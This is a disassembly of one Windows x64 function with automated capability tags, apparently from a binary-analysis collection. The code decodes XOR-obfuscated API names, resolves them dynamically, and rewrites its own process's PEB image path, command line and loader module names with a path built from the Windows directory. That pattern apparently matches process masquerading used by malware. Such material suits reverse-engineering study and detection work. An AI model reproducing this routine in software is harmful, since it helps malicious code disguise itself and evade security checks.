Function at 0x140003a40
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push rbp
push rbx
push rsi
push r12
push r13
lea rbp, [rsp - 0x670]
sub rsp, 0x770
movaps xmmword [rsp + 0x760], xmm6
mov rax, qword [0x140029040]
xor rax, rsp
mov qword [rbp + 0x650], rax
cmp word [0x140024f0a], 0
movups xmm0, xmmword [str.WN_PQ]
mov eax, dword [0x140024f08]
mov dword [rsp + 0x40], eax
movups xmmword [rsp + 0x30], xmm0
je 0x140003ad0
xor word [rsp + 0x32], 0x3a
mov eax, 0x6e
xor word [rsp + 0x34], 0x3b
xor word [rsp + 0x36], 0x3c
xor word [rsp + 0x38], 0x3d
xor word [rsp + 0x3a], 0x3e
xor word [rsp + 0x3c], 0x3f
xor word [rsp + 0x3e], 0x40
xor word [rsp + 0x40], 0x41
xor word [rsp + 0x42], 0x42
mov word [rsp + 0x30], ax
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movups xmm0, xmmword [str.wNjIXLF_t___6_3__e____R]
movzx ecx, word [0x140024fb0]
xor r13d, r13d
cmp byte [0x140024fb1], r13b
mov rbx, rax
mov esi, dword [0x140029090]
movdqa xmm6, xmmword [0x140025140]
movups xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x78], cx
movsd xmm0, qword [0x140024fa8]
movsd qword [rsp + 0x70], xmm0
je 0x140003c8d
mov ecx, r13d
cmp esi, 2
jl 0x140003c46
movdqa xmm0, xmmword [0x140025160]
lea rdx, [rsp + 0x64]
movdqa xmm4, xmmword [0x140025100]
movdqa xmm3, xmmword [0x140025170]
movdqa xmm5, xmmword [0x140025130]
movdqa xmmword [rsp + 0x50], xmm0
mov r8d, dword [rsp + 0x50]
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm4
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x140003b60
cmp ecx, 0x1a
jge 0x140003c8d
movsxd rax, ecx
lea r8, [rsp + 0x60]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, cl
inc ecx
sub al, dl
add al, 0x39
xor byte [r8 - 1], al
cmp ecx, 0x1a
jl 0x140003c60
mov qword [rsp + 0x7a0], rdi
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x7a8], r14
mov rcx, rbx
mov qword [rsp + 0x7b0], r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test rax, rax
je 0x1400044dc
cmp byte [0x140024ee7], r13b
movups xmm0, xmmword [str.kNWySJZ2]
movups xmmword [rbp - 0x68], xmm0
movsd xmm0, qword [0x140024ee0]
movsd qword [rbp - 0x58], xmm0
je 0x140003e41
cmp esi, 2
jl 0x140003e03
movdqa xmm0, xmmword [0x140025160]
lea rcx, [rbp - 0x64]
movdqa xmm4, xmmword [0x140025100]
mov edx, r13d
movdqa xmm3, xmmword [0x140025170]
movdqa xmm5, xmmword [0x140025130]
movdqa xmmword [rsp + 0x50], xmm0
mov r8d, dword [rsp + 0x50]
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x18
jl 0x140003d20
jmp 0x140003e41
lea r9, [rbp - 0x68]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140003e10
lea rdx, [rbp - 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
je 0x1400044dc
cmp byte [0x140024f77], r13b
movups xmm0, xmmword [str.kNWpX_I_]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x140024f70]
movsd qword [rbp - 0x40], xmm0
je 0x140003fe1
cmp esi, 2
jl 0x140003fa3
movdqa xmm0, xmmword [0x140025160]
lea rcx, [rbp - 0x4c]
movdqa xmm4, xmmword [0x140025100]
mov edx, r13d
movdqa xmm3, xmmword [0x140025170]
movdqa xmm5, xmmword [0x140025130]
movdqa xmmword [rsp + 0x50], xmm0
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x18
jl 0x140003ec0
jmp 0x140003fe1
lea r9, [rbp - 0x50]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140003fb0
lea rdx, [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x1400044dc
mov ecx, dword [0x140024ec8]
mov r8d, r13d
mov dword [rbp - 0x70], ecx
movzx ecx, byte [0x140024ecc]
mov byte [rbp - 0x6c], cl
movups xmm0, xmmword [str.kNWuSWK]
movups xmmword [rbp - 0x80], xmm0
cmp esi, 2
jl 0x14000413b
movdqa xmm0, xmmword [0x140025160]
lea rcx, [rbp - 0x7c]
movdqa xmm4, xmmword [0x140025100]
movdqa xmm3, xmmword [0x140025170]
movdqa xmm5, xmmword [0x140025130]
movdqa xmmword [rsp + 0x50], xmm0
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140004052
cmp r8d, 0x15
jge 0x140004181
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x140004150
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x1400044dc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x438
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400044dc
mov r9d, 0x30
mov qword [rsp + 0x20], r13
lea r8, [rbp - 0x18]
xor edx, edx
mov rcx, rax
call r12
mov r9d, 8
mov qword [rsp + 0x20], r13
lea r8, [rbp - 0x38]
mov rcx, rbx
lea rdx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400044dc
mov rdx, qword [rbp - 0x38]
lea r8, [rbp - 0x20]
add rdx, 0x18
mov qword [rsp + 0x20], r13
mov r9d, 8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400044dc
mov edx, 0x104
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp word [0x140024f92], r13w
movups xmm3, xmmword [0x140024f78]
mov eax, dword [0x140024f90]
movsd xmm0, qword [0x140024f88]
movups xmmword [rsp + 0x60], xmm3
mov dword [rsp + 0x78], eax
movsd qword [rsp + 0x70], xmm0
je 0x140004395
mov r8d, r13d
cmp esi, 2
jl 0x14000434f
movdqa xmm2, xmmword [0x140025100]
mov r8d, 8
movdqa xmm4, xmmword [0x140025170]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140025130]
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movq xmm1, xmm3
movdqa xmm3, xmmword [0x140025110]
paddw xmm2, xmmword [0x140025150]
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movq qword [rsp + 0x60], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140025130]
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x68]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x140025150]
xorps xmm2, xmm0
movq qword [rsp + 0x68], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9 - 2], ax
cmp r8d, 0xe
jl 0x140004360
lea r8, [rsp + 0x60]
mov edx, 0x105
lea rcx, [rbp + 0x20]
call fcn.14000cc04
mov ecx, 0x104
call fcn.14000cf3c
lea r8, [rbp + 0x20]
mov edx, 0x104
mov rcx, rax
mov rsi, rax
call fcn.14000ced4
mov rcx, qword [rbp - 0x38]
mov rcx, qword [rcx + 0x38]
call r14
mov rcx, qword [rbp - 0x38]
mov rdx, rsi
mov rcx, qword [rcx + 0x20]
add rcx, 0x60
call rdi
mov rcx, qword [rbp - 0x38]
mov rdx, rsi
mov rcx, qword [rcx + 0x20]
add rcx, 0x70
call rdi
mov r8d, 0x104
lea rdx, [rbp + 0x440]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rbp - 0x38]
mov rcx, qword [rax + 0x18]
mov rax, qword [rbp - 0x20]
mov r14, qword [rcx + 0x10]
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x28], rcx
mov r9d, 8
mov qword [rsp + 0x20], r13
lea r8, [rbp - 0x30]
mov rcx, rbx
lea rdx, [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400044dc
mov rdx, qword [rbp - 0x30]
lea r8, [rbp + 0x230]
mov rcx, rbx
mov qword [rsp + 0x20], r13
movzx r9d, word [rdx + 0x4a]
mov rdx, qword [rdx + 0x50]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400044dc
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x440]
call fcn.14000cd58
test eax, eax
je 0x140004493
mov rax, qword [rbp - 0x30]
mov rcx, qword [rax]
mov qword [rbp - 0x28], rcx
cmp rcx, r14
jne 0x140004420
jmp 0x1400044ad
mov rcx, qword [rbp - 0x30]
mov rdx, rsi
add rcx, 0x48
call rdi
mov rcx, qword [rbp - 0x30]
mov rdx, rsi
add rcx, 0x58
call rdi
mov rcx, qword [rbp - 0x38]
mov rcx, qword [rcx + 0x38]
call r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x20]
call fcn.14000cd58
test eax, eax
je 0x1400044dc
mov eax, 1
jmp 0x1400044de
xor eax, eax
mov r15, qword [rsp + 0x7b0]
mov r14, qword [rsp + 0x7a8]
mov rdi, qword [rsp + 0x7a0]
mov rcx, qword [rbp + 0x650]
xor rcx, rsp
call fcn.1400048f0
movaps xmm6, xmmword [rsp + 0x760]
add rsp, 0x770
pop r13
pop r12
pop rsi
pop rbx
pop rbp
ret